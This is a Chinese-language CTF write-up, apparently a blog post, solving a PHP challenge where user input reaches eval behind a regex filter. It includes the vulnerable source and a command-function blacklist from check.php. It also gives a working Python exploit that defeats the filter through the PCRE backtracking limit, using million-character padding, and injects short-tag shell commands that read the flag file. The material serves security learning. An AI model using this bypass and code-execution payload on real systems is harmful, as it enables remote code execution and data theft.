https://www.ctfer.vip/problem/1897
啊感觉今天只写一道太少了,正好翻到了nss上大佬的web入门学习顺序,发现最后的一道题自己还没做,于是正好补上,"入入门"
然后这里再补充一下:因为【NISACTF 2022】hardsql和今天的另一道题:NSSCTF[第五空间 2021]yet_another_mysql_injection解答过程差不多,只是多了waf,过滤了char,将char换成chr或者ox的格式就行了,就不再另开一篇了。
(相关资料图)
言归正传,上一题是不是忘了用这个隔开了= =
hint:WEB PCRE绕过 RCE
<?phpinclude "check.php";if (isset($_REQUEST['letter'])){ $txw4ever = $_REQUEST['letter']; if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){ die("再加把油喔"); } else{ $command = json_decode($txw4ever,true)['cmd']; checkdata($command); @eval($command); }}else{ highlight_file(__FILE__);}?>
上一题发现截图的代码不好看清,所以还是复制了,没报错就继续写:
首先是一个很严格的过滤:
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
有多严格呢,你自己做的时候就体会到辣,
^.*
是匹配所以的意思,如果你看过p神的博客,那么你对这段句子就很熟悉:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
快去看!
这里就到了我们的hint里pcre提示的地方了,在p神的博客中,讲到了pcre回溯次数绕过安全限制的问题,这里如果讲原理一个是我不一定讲的懂讲的明白,二一个是需要太多时间了,我就不献丑了,大家可以去p神博客看看具体过程,这个绕过限制的结论是:
我记得这个知识点以前讲过,首先是100万次,肯定是post,其次是需要脚本,
接着看:
$command = json_decode($txw4ever,true)['cmd']; checkdata($command); @eval($command);
在我们绕过限制后将command进行json格式编码,json值的名为cmd,这个checkdata,没有看到具体内容,但是肯定是某个黑名单类的,那这类命名都是check+变量,猜测上传的变量名字为data,那么这里应该是在check.php中
那么我们需要考虑的是两点:
首先:过滤了什么,目前不知道 其次:怎么回显结果,eval后没有echo
那么过滤问题只能试,回显结果:
https://blog.csdn.net/weixin_53090346/article/details/125361948
短标签代替echo的效果进行输出:<??>和<?=?>。<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>,<??>写法需要开启short_open_tag,<?=?>则是默认开启。
其他的还是看payload讲解吧:
https://www.cnblogs.com/yb0osing/archive/2022/10/30/2022NISACTF_web.html
import requests
url = "http://1.14.71.254:28931/"
# 直接构造json串
'''
注意细节:
这样是不对的:'{"cmd":"?><?= `ls`?>;","overflow":'+"-"*1000000+'}'
因为:"overflow":'+"-"*1000000+'}' 这里拼接完成后 - 并没有引号包裹 导致错误
正确的应该给外层-加上引号 如'{"cmd":"?><?= `ls`?>;","overflow":"'+"-"*1000000+'"}'
因为-没有在正则的[]里面 所以可以使用
'''
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
resp = requests.post(url=url,data={"letter":data})
print(resp.text)
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
data = '{"cmd":"?><?= `tail /f*`?>", "#":"' + "#" * 1000000 + '"}'也行
这里?>的目的,原话是:
在尝试过程 system啥的被禁 我们可以闭合前一个 构造下一个php标签绕过
我不是很懂。
而<?= `nl /f*`?>;是<?=?>做echo效果
nl /f*和tail /f*是输出flag文件内容,然后后面是绕过限制,其中"-"啊"#"啊换成例如@这种特殊字符就行啦,就是你键盘上12346上面的字符应该都行= =我没试过其他的辣。
然后是格式写法,最后在脚本下输出结果。
得到flag:
当然我还想看看过滤了什么,改一下命令:
<?php function checkdata($data){ if (preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i",$data,$match)){ die('差一点点捏'); } }
写check.php还是黑名单,改成c*就行了。
那么这道题也是这样结束辣,学了一两个小知识,和一个重点绕过手法,当然p神的回溯绕过博客还是得多看看的= =会学到很多的。
那么,期待我们下一题再见!